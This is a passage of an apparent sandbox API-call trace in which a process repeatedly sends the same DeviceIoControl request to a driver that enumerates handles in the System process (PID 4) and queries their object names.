0x19a [0130.314] ObQueryNameString (in: Object=0xfffffa800258ec90, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.314] ObfDereferenceObject (Object=0xfffffa800258ec90) returned 0x2 [0130.314] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.314] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.314] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.314] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.314] PsAcquireProcessExitSynchronization () returned 0x0 [0130.315] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.315] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003161e20, HandleInformation=0x0) returned 0x0 [0130.315] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.315] PsReleaseProcessExitSynchronization () returned 0x2 [0130.315] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.315] ObQueryNameString (in: Object=0xfffffa8003161e20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.315] ObfDereferenceObject (Object=0xfffffa8003161e20) returned 0x2 [0130.315] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.315] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.315] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.315] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.315] PsAcquireProcessExitSynchronization () returned 0x0 [0130.315] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.315] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80024f8050, HandleInformation=0x0) returned 0x0 [0130.315] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.315] PsReleaseProcessExitSynchronization () returned 0x2 [0130.315] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.315] ObQueryNameString (in: Object=0xfffffa80024f8050, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.315] ObfDereferenceObject (Object=0xfffffa80024f8050) returned 0x2 [0130.315] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.315] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.315] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.315] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.315] PsAcquireProcessExitSynchronization () returned 0x0 [0130.315] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.315] ObReferenceObjectByHandle (in: Handle=0xffffffff80000abc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800390ea90, HandleInformation=0x0) returned 0x0 [0130.315] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.316] PsReleaseProcessExitSynchronization () returned 0x2 [0130.316] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.316] ObQueryNameString (in: Object=0xfffffa800390ea90, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.316] ObfDereferenceObject (Object=0xfffffa800390ea90) returned 0x2 [0130.316] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.316] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.316] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.316] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.316] PsAcquireProcessExitSynchronization () returned 0x0 [0130.316] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.316] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80025ec750, HandleInformation=0x0) returned 0x0 [0130.316] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.316] PsReleaseProcessExitSynchronization () returned 0x2 [0130.316] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.316] ObQueryNameString (in: Object=0xfffffa80025ec750, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.316] ObfDereferenceObject (Object=0xfffffa80025ec750) returned 0x2 [0130.316] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.316] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.316] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.316] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.316] PsAcquireProcessExitSynchronization () returned 0x0 [0130.316] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.316] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800214ac80, HandleInformation=0x0) returned 0x0 [0130.316] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.317] PsReleaseProcessExitSynchronization () returned 0x2 [0130.317] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.317] ObQueryNameString (in: Object=0xfffffa800214ac80, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.317] ObfDereferenceObject (Object=0xfffffa800214ac80) returned 0x2 [0130.317] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.317] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.317] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.317] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.317] PsAcquireProcessExitSynchronization () returned 0x0 [0130.317] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.317] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037f0b60, HandleInformation=0x0) returned 0x0 [0130.317] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.317] PsReleaseProcessExitSynchronization () returned 0x2 [0130.317] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.317] ObQueryNameString (in: Object=0xfffffa80037f0b60, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.317] ObfDereferenceObject (Object=0xfffffa80037f0b60) returned 0x2 [0130.317] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.317] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.317] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.317] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.317] PsAcquireProcessExitSynchronization () returned 0x0 [0130.317] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.318] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800fb0cf20, HandleInformation=0x0) returned 0x0 [0130.318] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.318] PsReleaseProcessExitSynchronization () returned 0x2 [0130.318] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.318] ObQueryNameString (in: Object=0xfffffa800fb0cf20, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.318] ObfDereferenceObject (Object=0xfffffa800fb0cf20) returned 0x2 [0130.318] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.318] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.318] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.318] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.318] PsAcquireProcessExitSynchronization () returned 0x0 [0130.318] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.318] ObReferenceObjectByHandle (in: Handle=0xffffffff80000af0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8010da5050, HandleInformation=0x0) returned 0x0 [0130.318] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.318] PsReleaseProcessExitSynchronization () returned 0x2 [0130.318] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.318] ObQueryNameString (in: Object=0xfffffa8010da5050, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.318] ObfDereferenceObject (Object=0xfffffa8010da5050) returned 0x2 [0130.318] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.318] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.318] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.318] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.318] PsAcquireProcessExitSynchronization () returned 0x0 [0130.318] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.318] ObReferenceObjectByHandle (in: Handle=0xffffffff80000afc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002147dd0, HandleInformation=0x0) returned 0x0 [0130.318] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.318] PsReleaseProcessExitSynchronization () returned 0x2 [0130.318] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.318] ObQueryNameString (in: Object=0xfffffa8002147dd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.319] ObfDereferenceObject (Object=0xfffffa8002147dd0) returned 0x2 [0130.319] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.319] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.319] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.319] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.319] PsAcquireProcessExitSynchronization () returned 0x0 [0130.319] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.319] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b00, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8009f8af20, HandleInformation=0x0) returned 0x0 [0130.319] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.319] PsReleaseProcessExitSynchronization () returned 0x2 [0130.319] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.319] ObQueryNameString (in: Object=0xfffffa8009f8af20, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.319] ObfDereferenceObject (Object=0xfffffa8009f8af20) returned 0x2 [0130.319] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.319] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.319] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.319] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.319] PsAcquireProcessExitSynchronization () returned 0x0 [0130.319] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.319] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003732a00, HandleInformation=0x0) returned 0x0 [0130.319] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.319] PsReleaseProcessExitSynchronization () returned 0x2 [0130.319] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.319] ObQueryNameString (in: Object=0xfffffa8003732a00, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.320] ObfDereferenceObject (Object=0xfffffa8003732a00) returned 0x2 [0130.320] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.320] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.320] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.320] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.320] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.320] PsAcquireProcessExitSynchronization () returned 0x0 [0130.320] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.320] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037d1f20, HandleInformation=0x0) returned 0x0 [0130.320] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.320] PsReleaseProcessExitSynchronization () returned 0x2 [0130.320] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.320] ObQueryNameString (in: Object=0xfffffa80037d1f20, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.320] ObfDereferenceObject (Object=0xfffffa80037d1f20) returned 0x2 [0130.320] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.320] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.320] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.320] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.320] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.320] PsAcquireProcessExitSynchronization () returned 0x0 [0130.320] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.320] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800322de50, HandleInformation=0x0) returned 0x0 [0130.320] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.320] PsReleaseProcessExitSynchronization () returned 0x2 [0130.320] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.320] ObQueryNameString (in: Object=0xfffffa800322de50, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.320] ObfDereferenceObject (Object=0xfffffa800322de50) returned 0x2 [0130.320] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.321] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.321] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.321] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.321] PsAcquireProcessExitSynchronization () returned 0x0 [0130.321] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.321] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003527a20, HandleInformation=0x0) returned 0x0 [0130.321] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.321] PsReleaseProcessExitSynchronization () returned 0x2 [0130.321] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.321] ObQueryNameString (in: Object=0xfffffa8003527a20, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.321] ObfDereferenceObject (Object=0xfffffa8003527a20) returned 0x2 [0130.321] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.321] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.321] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.321] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.321] PsAcquireProcessExitSynchronization () returned 0x0 [0130.321] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.321] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213f980, HandleInformation=0x0) returned 0x0 [0130.321] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.321] PsReleaseProcessExitSynchronization () returned 0x2 [0130.321] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.321] ObQueryNameString (in: Object=0xfffffa800213f980, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.321] ObfDereferenceObject (Object=0xfffffa800213f980) returned 0x2 [0130.321] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.321] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.321] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, 